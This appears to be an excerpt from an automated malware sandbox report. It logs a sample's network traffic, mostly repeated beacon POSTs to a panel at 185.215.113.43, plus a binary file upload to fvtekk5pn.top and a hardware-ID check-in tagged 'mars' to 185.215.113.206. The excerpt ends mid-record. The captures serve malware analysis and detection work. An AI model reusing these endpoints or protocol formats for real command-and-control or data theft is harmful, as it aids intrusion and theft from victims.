ff 9b 5c 2b 3a 7c 04 22 5a 7a 71 e4 ec c1 37 08 49 7e da 11 60 d9 ea c7 42 8a c9 7a 80 d0 e1 a9 f3 95 e4 1c 87 80 aa 59 35 82 80 e1 83 dc 6b 17 5b cc 18 99 a4 b3 09 3f 46 23 d3 92 e1 38 a9 af b0 ce f9 49 89 c7 95 cb 19 f4 e5 86 80 2c a7 40 43 fa 92 1b 48 51 8f 5a 84 ef a7 ce 9b 33 e5 ab 42 67 83 7e 02 2d 50 03 71 49 87 9b 78
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 35 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007567001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 27813Content-Type: multipart/form-data; boundary=------------------------QyAZ66dhsdGKOEMXn13ZIdData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 51 79 41 5a 36 36 64 68 73 64 47 4b 4f 45 4d 58 6e 31 33 5a 49 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4a 6f 71 75 78 75 6d 75 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 89 0e 0c 55 60 be 5c 54 e7 ab cf 4b db 71 1a 2d cb 4d 7f 3a 03 63 0c 72 e2 5b 08 ce 4d 46 1d ca e8 76 61 c7 78 53 c3 d7 7a b8 1b c4 06 ea a9 d7 82 23 e6 65 89 2c 26 69 dc 64 8a 59 e5 1b cd 72 3d 23 fd f3 c2 23 46 2d 2d 8d a7 c1 e9 b2 9c 86 a1 e4 1e 6f d7 d7 ee 46 cc 22 82 0e fb 54 2f 71 9c 10 ec 05 12 ed da 68 38 d5 8e 06 59 37 ca 40 90 87 e1 39 02 c8 27 25 17 84 b1 85 6c f0 3f b5 ac 79 6e 86 16 cf f8 e0 2f b7 f0 cf 9f f6 79 fc 85 39 dc 19 e4 f9 d5 e2 74 cf 9b f0 72 2f 89 49 a5 73 50 d2 5f 60 d3 bc 80 eb f4 0d f1 db 92 f2 21 91 de 26 7c 31 9e 97 aa 30 86 08 ae b0 10 4c 26 e3 74 07 98 17 b4 c8 f7 98 93 c3 9a 2e 34 f8 89 76 60 75 4f f6 bf 8f cf 1b b3 4f 96 e5 b0 23 e4 82 9a 00 bc 53 33 f6 8d f8 23 a9 47 a5 e5 e5 c9 c6 cc 47 28 60 95 73 b9 c9 93 0d 76 28 7d 49 02 2f d8 dc 63 3d 88 dd dd 5e 46 8a 0a 97 8b 14 6c eb 71 8c 73 7a e6 b1 5c c7 62 08 89 71 89 8e ad 29 47 ef 49 10 a1 c9 6f 48 71 2b 2b c6 0b f6 5e dc 47 3f 00 8b ca 3b 69 0d d6 b2 6c 1f b7 52 22 3d 30 b7 c1 95 5e 17 31 84 14 1a 34 83 06 6b 08 c3 d6 9a 67 3c 4e 4b 7c 8f 4b ea 0d 72 ae 32 1d 11 ea f5 0b 3f dd 26 f1 bc 0c 7a 23 c8 9e be 3b c0 5d f0 ad df 68 2e e4 c6 6c d2 3a d3 68 e7 ac 43 4a 4a 24 72 78 3e e4 8a 89 d6 fc 4a 08 06 96 b8 f3 02 89 2c 7c d4 08 28 cd 11 3a 24 00 19 64 5e 8a ab ce a4 3f e8 c5 ac f2 4f 20 69 bc 18 67 d5 34 e4 06 94 77 96 35 78 c2 a1 9e ab d8 8b 07 d5 c5 02 34 3d 86 1d 8d 70 3c d1 5d c5 06 a4 43 c6 b5 70 fb ac c2 bf a9 1f 58 d0 ea 5a eb 40 e9 60 a7 b5 af 38 21 0f 42 e5 32 d5 20 69 e1 be 63 aa f1 09 3d 7c 69 27 91 dd fc 9b 44 e6 dc 39 d0 bf a6 6b b7 c6 97 bb 68 24 34 63 36 28 c4 a8 f8 c9 aa 26 ce 52 f2 0a f4 65 63 f0 18 a6 4d 6d bc 33 df 89 8e e1 e2 8b dd 9b 7b 3d d4 f9 67 0c 89 63 0b 7e 46 e8 00 6a f1 4d 4b 64 8b 7c 6f 4c d6 c5 86 1c fa 28 a6 a4 c8 0a d3 5b 37 1f 9f de 34 0e ad 15 35 d8 90 9d 1f 15 1b 8f 94 14 79 bc 26 93 80 e1 70 23 9b c9 91 7f 24 7c ab 5b 1a 69 f4 43 f9 9e ed 17 84 7a 4a 8a ab 98 ce ac a7 50 6a a4 b1 61 b0 81 28 f6 cf b1 35 06 19 65 46 ee a6 fd de 0b e3 f5 33 3d 9a fe b4 41 e8 70 da 52 9e 41 49 34 5f 3b a9 c7 fe 01 d6 4d be 60 15 09 3b ea 6b 18 50 d8 2b 0f 69 7e ab 4a 9d 4c 22 07 73 63 db 05 46 97 6d 9c 44 9d e7 62 0f 23 85 a3 f3 6c 9c 7a e3 30 01 33 f8 01 8f 21 f1 6b 0c d7 ca bc 6f 4e f1 ea 89 5f 5a 96 11 b3 cf 71 1f ec ec dc 8d f5 58 87 a5 bc 43 90 d6 8b e6 c7 5b af 25 48 c8 6e b9 3b
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCAKKKEGCAKJKFIIEGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 33 30 44 38 30 31 37 42 30 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 41 4b 4b 4b 45 47 43 41 4b 4a 4b 46 49 49 45 47 49 2d 2d 0d 0a Data Ascii: ------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="hwid"430D8017B0AC3343412148------CGCAKKKEGCAKJKFIIEGIContent-Disposition: form-data; name="build"mars------CGCAKKKEGCAKJKFIIEGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: 